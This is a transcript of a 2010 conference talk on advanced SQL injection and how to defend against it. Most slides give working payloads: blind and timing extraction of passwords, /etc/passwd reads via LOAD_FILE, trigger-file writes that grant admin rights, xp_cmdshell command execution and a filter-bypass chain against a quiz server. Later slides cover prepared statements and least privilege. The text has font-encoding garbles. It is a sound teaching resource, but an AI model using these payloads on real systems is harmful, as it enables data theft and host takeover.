Advanced SQL Injection Attack & Defenses
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Advanced SQL Injection Attack & Defenses

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The objective of this talk is to demonstrate how to subvert some SQLi (bad but popular) defenses and to show how to properly defend against SQLi attacks. ...

The objective of this talk is to demonstrate how to subvert some SQLi (bad but popular) defenses and to show how to properly defend against SQLi attacks.

We will cover topics such as:
- Blind SQLi attacks
- Timing SQLi attacks
- Encoding attacks
- How to subvert some filters
- How you should protect your code against SQLi attacks

The video is available here: https://codebits.eu/intra/s/session/131

Presented at Codebits IV, 12/11/10 Lisbon

note: this talk was co-presented by me and Nuno Loureiro (http://www.slideshare.net/nuno.loureiro)

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Advanced SQL Injection Attack & Defenses Advanced SQL Injection Attack & Defenses Presentation Transcript

  • Codebits 2010Advanced SQL injection: Attacks & Defenses 12/11/2010
  • Summary Summary: •  Mo$va$on •  Objec$ves •  What  is  SQLi? •  A8ack  using  Tautologies •  A8ack  using  union  query •  Blind  Injec$on •  Timing  A8acks •  Second  Order  SQLi •  File  System  Access •  Piggy-­‐backed  Queries •  Use  of  SELECT  to  INSERT  or  UPDATE •  Common  Mistakes  while  Protec$ng •  Int  queries •  Blacklist  Approach •  Best  Prac$ces •  Prepared  Statements •  Escaping/Valida$ng  Input •  Codebits  Security  QuizSAPO  Websecurity  Team 2
  • Motivation OWASP  Top10  Applica0on  Security  RisksSAPO  Websecurity  Team SAPO  Codebits  2010 3
  • Objectives Two  Objec0ves:   •Awareness:   •  This  is  a  real  problem  and  it’s  dangerous •How  to  protect  your  code:   •  There  are  good  and  bad  protecBons.    SAPO  Websecurity  Team SAPO  Codebits  2010 4
  • SQLi > What is it?What  is  it? • SQL  InjecBon  vulnerabiliBes  are  introduced  when  soIware  developers  use   unstrusted  data  in  the  construcBon  of  dynamic  SQL  queries Example  of  Vulnerable  query: Impact  of  SQLi: • Data  loss  or  corrupBon • Data  leakage   • DoS • SomeBmes  can  lead  to  complete  host  takeover • ReputaBon  can  be  harmed.SAPO  Websecurity  Team SAPO  Codebits  2010 5
  • SQLi > Example of Attack using Tautologies Example  of  Vulnerable  code: AJack: •  h8p://vuln.example/login?username=x’  or  1=1  limit  0,1-­‐-­‐  -­‐   Query  executed: •  SELECT  id,group,full_name  FROM  users  WHERE  username=’x’  or  1=1  limit  0,1 Query  returns  the  first  row  of  table  users,  thus  you’ll  login  with  that  user  and  see  his  full  nameSAPO  Websecurity  Team SAPO  Codebits  2010 6
  • SQLi > More Advanced Attack using union queriesExample  of  Vulnerable  code: AJack: •  h8p://vuln.example/login?username=x’  and  1=0  union  select  null,null,table_name  from   informa$on_schema.tables  limit  30,1-­‐-­‐  -­‐ Query  executed: •  SELECT  id,group,full_name  FROM  users  WHERE  username=’x’  and  1=0  union  select  null,null,table_name  from   informaBon_schema.tables  limit  30,1 • You  can  use  the  UNION  to  find  the  number  of  columns  in  the  query  (or  ORDER  BY) • You  use  the  3rd  column  of  the  query  (full_name)  to  dump  informa$on  from  the  db... • You  can  also  use  CONCAT()  to  retrieve  several  fields  as  one  fieldSAPO  Websecurity  Team SAPO  Codebits  2010 7
  • SQLi > Blind injection ...  but  someBmes  you  are  not  that  lucky.  SomeBmes  the  only  informaBon  you  can  get  is   a  binary  result  -­‐  true  or  false,  1  or  0,  error  or  no-­‐error.  That  is  called  a  Blind  SQLi. Imagine  that  the  following  URL  is  vulnerable  to  a  blind  SQLi: • hAp://vuln.example.com/news.php?id=12 Trying  to  guess  the  table  name: • id=5  union  all  select  1,2,3  from  admin    /*  Returns  an  error  if  table  admin  does  not  exist  */ Trying  to  guess  the  column  names: • id=5  union  all  select  1,2,passwd  from  admin    /*  Returns  an  error  if  column  passwd  does  not  exist  */ Extract  ‘username:passwd’  from  table  (char  by  char): • id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>64  /*  ret  true  */ • id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>96  /*  ret  true  */ • id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>100  /*  ret  false  */ • id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),1,1))>97  /*  ret  false  */                    (....) • id=5  and  ascii(substring((select  concat(username,0x3a,passwd)  from  users  limit  0,1),2,1))>64  /*  ret  true  */                    (...) Don’t  worry,  you  have  tools  to  automaBze  this...SAPO  Websecurity  Team SAPO  Codebits  2010 8
  • SQLi > Get around blind SQLi > sqlmap sqlmap  can  save  you  a  lot  of  Bme  when  exploiBng  a  blind  SQL  injecBon.  There  are  a  lot   of  other  powerful  opBons  at  your  disposal  as  well...SAPO  Websecurity  Team SAPO  Codebits  2010 9
  • SQLi > Some Stats But  wait,  is  this  a  common  problem?  YES! According  to  exploit-­‐db.com,  in  the  past  3  months  they  reported: •  190  SQLi  vulnerabiliBes  in  popular  Web  ApplicaTons,   •40  were  blind  SQLi •36  were  in  Joomla  ComponentsSAPO  Websecurity  Team SAPO  Codebits  2010 10
  • SQLi > Some Stats To  get  this  stats,  I  was  searching  for  the  string  “sql  injecBon”... ..  and  I  noBced  that  the  results  page  was  broken,  so  I  tried  to  exploit  it  and  found  it  was   vulnerable  to  XSS. I  reported  the  vulnerability  and  it  was  fixed  within  10  minutes.SAPO  Websecurity  Team SAPO  Codebits  2010 11
  • SQLi > Timing attacks SomeBmes  you  don’t  even  get  a  True/False  or  Error/Non-­‐Error  response.  In  those  cases   you  need  to  use  a  Timing  aeack A  real  example  -­‐  LightNEasy  CMS  3.2.1:POST  Data: handle="  UNION  SELECT  IF(SUBSTRING(password,1  ,1)  =  CHAR(98),  BENCHMARK(10000000,   ENCODE(Slow,Down)),  null),2,3,4,5,6,7,8,9,10,11  FROM  lne_users  WHERE   id="1&password=&do=login&=Login If  the  first  character  of  the  admin  hash  is  b,  the  query  will  take  around  5  seconds  to  executeSAPO  Websecurity  Team SAPO  Codebits  2010 12
  • SQLi > Timing attacks BENCHMARK()  is  MySQL-­‐specific,  but  you  have  alternaBve  funcBons  in  other  DBMS BENCHMARK(10000000,md5(1))   MySQL or  SLEEP(5) PG_SLEEP(5)   PostgreSQL or  GENERATE_SERIES(1,1000000) MS  SQL  Server WAITFOR  DELAY  ‘0:0:5’SAPO  Websecurity  Team SAPO  Codebits  2010 13
  • SQLi > Second Order SQLi What  is  it? When  the  aeacker  is  able  to  insert  malicious  input  that  does  no  harm  to  the  query  in   the  page  but  will  exploit  a  vulnerability  in  another  page  that  reads  that  malicious  input   to  query  the  database Example: •  Create  an  user:  EveMalory’  OR  user=‘admin •  User  logs  in •  Ager  logging  in,  the  script  queries  for  user’s  info  based  on  the  retrieved   username:        SELECT  user,  password,  full_name,  age,  homepage,  gender  FROM  users   WHERE  user=‘EveMalory’  OR  user=‘admin’ •  EveMalory  does  not  exist,  thus  we’ll  read  admin’s  info.  SAPO  Websecurity  Team SAPO  Codebits  2010 14
  • SQLi > File System Access Read  Access MySQL  requirements:  FILE  privileges  -­‐>  Have  your  ever  typed  “grant  all  privileges...”? 1-­‐  Inject  a  LOAD_FILE()  call  using  your  favorite  SQLi  technique. ...  union  select  1,1,  LOAD_FILE(/etc/passwd),1,1; 2-­‐  Get  the  LOAD_FILE()  output. -­‐  5000  chars  limit  if  abusing  a  varchar  column -­‐  early  char  truncate  if  forcing  SQL  errors -­‐  binary  content If  you  have  piggy-­‐backed  queries  (and  CREATE  TABLE  privileges) -­‐  create  a  support  table -­‐  redirect  LOAD_FILE()  to  other  file  using  INTO  DUMPFILE,  but  hex  encoded -­‐  read  the  second  file  with  LOAD  DATA  INFILE  to  the  support  table -­‐  read  the  support  table  with  standard  SQLi CREATE  TABLE  potatoes(line  BLOB); UNION  SELECT  1,1,  HEX(LOAD_FILE(/etc/passwd)),1,1  INTO  DUMPFILE  ‘/tmp/potatoes’; LOAD  DATA  INFILE  /tmp/potatoes  INTO  TABLE  potatoes;SAPO  Websecurity  Team 15
  • SQLi > File System Access Write  Access MySQL  requirements:  FILE  privileges 1-­‐  Use  INTO  DUMPFILE  through  union  or  piggy-­‐backed  SQLi LimitaBons -­‐  limits  on  GET  parameters  length -­‐  INTO  DUMPFILE  does  now  append  data Again,  if  you  have  piggy-­‐backed  queries -­‐  create  a  support  table -­‐  INSERT  first  chunk  of  the  file  into  the  table -­‐  using  UPDATE,  CONCAT  the  other  chunks  to  the  first  one -­‐  write  the  file  with  SELECT  INTO  DUMPFILESAPO  Websecurity  Team 16
  • SQLi > File System Access OperaTng  System  Command  ExecuTon MySQL  requirements:  FILE  and  INSERT  privileges,  and  piggy-­‐backed  queries Using  User  Defined  FuncBons  (UDF) -­‐  funcBons  created  from  shared  libraries  on  the  system  to  be  used  in  SELECT  statements CREATE  FUNCTION  f_name  RETURNS  INTEGER  SONAME  shared_library -­‐  Fingerprint  you  target -­‐  DMBS,  version  and  host  OS -­‐  with  that  find  out  the  shared  libraries  paths -­‐  Create  a  shared  library  locally,  built  with  the  headers  of  the  target -­‐  include  either  the  sys_eval()  or  sys_exec()  funcBon   -­‐  Upload  the  craIed  shared  library  to  the  shared  libraries  path -­‐  Create  the  UDF -­‐  Execute  the  OS  command  using  the  sys_*()  funcBonsSAPO  Websecurity  Team 17
  • SQLi > File System Access OperaTng  System  Command  ExecuTon MS  SQL  Server  is  our  friend -­‐  xp_cmdshell()  procedure -­‐  executes  commands  on  the  host  OS -­‐  returns  the  command  output -­‐  newest  versions  have  it  disabled,  but... -­‐  create  a  support  table -­‐  execute  xp_cmdshell()  and  redirect  output  to  a  temporary  file -­‐  read  the  file  into  the  support  table  using  BULK  INSERT -­‐  SQLi  the  support  table -­‐  clean  up  :) -­‐  use  xp_cmd_shell()  to  delete  temporary  file -­‐  delete  the  support  table or,  if  you  don’t  care  about  the  output -­‐  execute  xp_cmdshell()SAPO  Websecurity  Team 18
  • SQLi > Piggy-backed queries What  is  it? The  ability  to  use  the  vulnerability  to  insert  a  second  query Example  (user  input  in  bold): SELECT  user,  password  from  users  where  id=2;  drop  table  users SQL  Server MySQL   PostgreSQL ASP ASP.NET PHP So,  what  can  we  do  if  MySQL  and  PHP/ASP  is  being  used  and  we  want  to  insert  or   update  data?SAPO  Websecurity  Team SAPO  Codebits  2010 19
  • SQLi > Use of SELECT to INSERT or UPDATE •  Found  by  Stefano  Di  Paola  from  Minded  Security •  MySQL  specific •  Requires  FILE  privileges •  The  idea  is  to  abuse  Triggers  to  insert  or  update  data   •  One  interesBng  property  about  MySQL  Triggers  is  that  they  are         stored  in  text  files  :-­‐) •  Works  whether  the  DBMS  is  hosted  on  the  same  or  on  a  different   server •  The  only  problem  is  that,  based  on  my  tests,  MySQL  needs  to  be   restarted  aIer  the  aeackSAPO  Websecurity  Team SAPO  Codebits  2010 20
  • SQLi > Use of SELECT to INSERT or UPDATE How  to  create  a  Trigger  to  update  the  table  users  to  set  the  groupid  as  admin  when  a   new  user  is  created? mysql>  create  trigger  utu  before  insert  on  users  for  each  row    set  NEW.groupid=admin;   Query  OK,  0  rows  affected  (0.57  sec) $  cat  /opt/local/var/db/mysql5/test/utu.TRN: TYPE=TRIGGERNAME trigger_table=users $  cat  /opt/local/var/db/mysql5/test/users.TRG: TYPE=TRIGGERS triggers=CREATE  DEFINER=`root`@`localhost`  trigger  utu  before  insert  on  users  for  each  row    set   NEW.groupid=admin sql_modes=0 definers=root@localhost client_cs_names=laBn1 connecBon_cl_names=laBn1_swedish_ci db_cl_names=laBn1_swedish_ciSAPO  Websecurity  Team SAPO  Codebits  2010 21
  • SQLi > Use of SELECT to INSERT or UPDATE How  can  we  take  advantage  of  a  SQLi  to  create  the  trigger? We  can  use  INTO  OUTFILE  to  write  the  trigger  files: /opt/local/var/db/mysql5/test/users.TRG: mysql>  select  username  from  users  where  id=3  and  1=0  union  select  TYPE=TRIGGERS  into   ouKile  /opt/local/var/db/mysql5/test/users.TRG  LINES  TERMINATED  BY  ntriggers=CREATE   DEFINER=`root`@`localhost`  trigger  utu  before  insert  on  users  for  each  row  set  NEW.groupid= adminnsql_modes=0ndefiners=root@localhostnclient_cs_names= laXn1nconnecXon_cl_names=laXn1_swedish_cindb_cl_names=laXn1_swedish_cin; Query  OK,  1  row  affected  (0.06  sec) /opt/local/var/db/mysql5/test/utu.TRN: mysql>  select  username  from  users  where  id=3  and  1=0  union  select  TYPE=TRIGGERNAME  into   ouKile  /opt/local/var/db/mysql5/test/utu.TRN    LINES  TERMINATED  BY  ntrigger_table=users n; Query  OK,  1  row  affected  (0.03  sec)SAPO  Websecurity  Team SAPO  Codebits  2010 22
  • SQLi > Wrong Protections Common  Mistakes  When  ProtecTng  your  CodeSAPO  Websecurity  Team SAPO  Codebits  2010 23
  • SQLi > Wrong Protections > Int values Some  folks  say  that  escaping  user  input  is  enough  (‘  ,  “  ,  r,  n,  NUL  and   Control-­‐Z)  to  prevent  SQLi,  but  is  it? Imagine  the  following  query  string  from  user.php  which  displays  the  name  of  the  user  : Is  this  vulnerable  to  SQLi?What  if  I  enter  the  following  URL: • hAp://vuln.example.com/user.php?id=12  AND  1=0  union  select  1,concat(user,0x3a,password), 3,4,5,6  from  mysql.user  where  user=substring_index(current_user(),char(64),1) The  query  result  is  the  following: mysql_real_escape_string()  will  not  escape  any  character  because  there  isn’t  any  to  be  escaped,   therefore  root:*31EFD0D03381795E5B770791D7A56CCD379F1141  will  be  output  to  the  screenSAPO  Websecurity  Team SAPO  Codebits  2010 24
  • SQLi > Wrong Protections > Alternate Encodings I  found  this  in  a  Quiz  for  a  Security  course  from  a  popular  University: •  Consider  the  GBK  Chinese  unicode  charset •  Let’s  take  a  look  at  some  characters: 0x 5c = 0x 27 = ʼ db  interprets  as  2  chars 0x bf 27 = ¿ʼ 0x bf 5c = db  interprets  as  a  single  chinese  char •  Imagine  that  you  use  addslashes()  to  escape  input  in  your  code •  If  aeacker  inputs  ¿ or  1=1 , the string becomes ¿ (0xbf5c27) • But  0xbf5c  is  the  chine  char   ,  thus  the  resulBng  string  is  interpreted  as   ‘  OR  1=1 •  In  case  you  haven’t  noBced,  you  just  bypassed  the  escaping  funcBonSAPO  Websecurity  Team SAPO  Codebits  2010 25
  • SQLi > Wrong Protections > Blacklist filtering •  Blacklists,  i.e  filter  out  some  chars  or  expressions,  is  not  a  good  pracBce •  Imagine  that  you  filter  the  following  from  user  input: •  Spaces •  Quotes  (“  and  ‘) •  Some  SQL  keywords  (like  where) You  shall  not  use  spaces: SELECT/**/passwd/**/from/**/user              or              SELECT(passwd)from(user) You  shall  not  use  quotes: SELECT  passwd  from  users  where  user=0x61646D696E (hex  for  admin) You  shall  not  use  the  where  keyword:        You  can  use  HAVING  and  IF()  and  ORDER  BY You  get  the  idea...SAPO  Websecurity  Team SAPO  Codebits  2010 26
  • SQLi > How to Protect against SQLi? Two  main  defenses: •  Prepared  Statements  /  Parameterized  Queries •  Escaping/ValidaBng  InputSAPO  Websecurity  Team SAPO  Codebits  2010 27
  • SQLi > Protect against SQLi > Prepared Statements Prepared  Statements: •  Prepared  statements  keep  the  query  structure  and  query  data  separated  through  the   use  of  placeholders  known  as  bound  parameters.  The  developer  must  then  set  values   for  the  placeholders. •  Prepared  statements  ensure  that  an  aeacker  is  not  able  to  change  the  intent  of  a   query,  even  if  SQL  commands  are  inserted  by  an  aeacker Example:SAPO  Websecurity  Team SAPO  Codebits  2010 28
  • SQLi > Protect against SQLi > Escaping/Validating INPUT •  If  Prepared  Statements  are  not  possible  you  should  Escape  and  Validate  user  input •  You  can  also  use  this  technique  in  addi$on  to  prepared  statements If  you  know  what  input  you  are  expecBng  you  can  validate  it: •  If  you  are  expecBng  integers  cast  the  input  to  integer  or  use  PHP’s  intval() •  If  you  are  expecBng  an  email  address  you  can  use  a  regexp  to  validate  it •  If  you  are  expecBng  the  user’s  name  it’s  not  so  simple  (because  of  the  ‘) Escape  all  the  user  input: •  Each  programming  language  has  its  own  funcBons  or  methods •  in  PHP  you  can  use  addslashes()  (with  cauBon) •  If  possible  use  the  DBMS  specific  escaping  funcBon    (e.g.  mysql_real_escape_string())SAPO  Websecurity  Team SAPO  Codebits  2010 29
  • SQLi > Protect against SQLi > Other Other  important  recommendaTons: •  Create  a  specific  database  user  to  be  used  exclusively  by  your  Web  App •  Only  grant  the  user  with  the  necessary  privileges  (exclude  file,  drop,  create,   etc  from  the  list) •  Limit  the  access  to  the  database  to  localhost  only  (if  possible)  or  to  the  Web   frontends •  SET  THE  DBMS  ROOT’S  PASSWORD!  (seriously) •  Use  strong  passwords  in  your  DBMS  for  root  and  all  other  usersSAPO  Websecurity  Team SAPO  Codebits  2010 30
  • SQLi > Codebits Security Quiz Codebits  Security  QuizSAPO  Websecurity  Team SAPO  Codebits  2010 31
  • SQLi > Codebits Security Quiz The  Facts: The  last  step  of  the  Security  Quiz  was  a  SQLi  injecBon  in  the  field  username: •  The  field  username  was  being  filtered  using  a  blacklist  approach  (bad  idea,  now  you  know!) •  What  was  filtered? •  whitespaces •  Quotes  (‘  and  “) •  Slashes  (  and  /) •  null,  where,  limit,  benchmark •  into,  file,  case •  some  comments  (-­‐-­‐  and  /*) •  Before  the  authenBcaBon  process  the  script  was  vulnerable  to  a  blind  SQLi •  AIer  the  authenBcaBon  process  it  was  just  a  regular  SQLi •  The  table  had  five  columns:  id,  username,  password,  full_name  and  homepageSAPO  Websecurity  Team SAPO  Codebits  2010 32
  • SQLi > Codebits Security Quiz So,  let’s  see  how  we  can  circumvent  the  filter:• Pass authentication: http://194.65.94.54/cb/index.php?Password=x&username=(1)or(1)=(1)• Find database: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select (1),database())%23• Find table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select (table_schema),(table_name)from(information_schema.tables)having((table_schema) =(0x6362697473627265616B6462)))%23• Find 1st column from table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select (table_name),(column_name)from(information_schema.columns)having((table_name)= (0x7573657273)))%23• Find last column from table: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select (table_name),(column_name)from(information_schema.columns)having((table_name)= (0x7573657273)%26%26(column_name)!=(0x6964)%26%26(column_name)!= (0x66756C6C5F6E616D65)%26%26(column_name)!=(0x70617373776F7264)))%23• Extract the URL: http://194.65.94.54/cb/index.php?Password=x&username=(1)and(1)=(0)union(select (id),(homepage)from(users)having((id)=(3)))SAPO  Websecurity  Team SAPO  Codebits  2010 33
  • SQLi Thank  you! QuesTons? Nuno  Loureiro  <nuno@co.sapo.pt> Tiago  Mendo  <Bago.mendo@telecom.pt>SAPO  Websecurity  Team SAPO  Codebits  2010 34
  • SQLi > References Websites: •  hAp://websec.wordpress.com/ •  hAp://blog.mindedsecurity.com/ •  hAp://www.webappsec.org/ •  hAp://www.owasp.org/ Whitepaper: •  Advanced  SQL  injec0on  to  opera0ng  system  full   control,  Bernardo  Damele  Guimarães,  2009SAPO  Websecurity  Team SAPO  Codebits  2010 35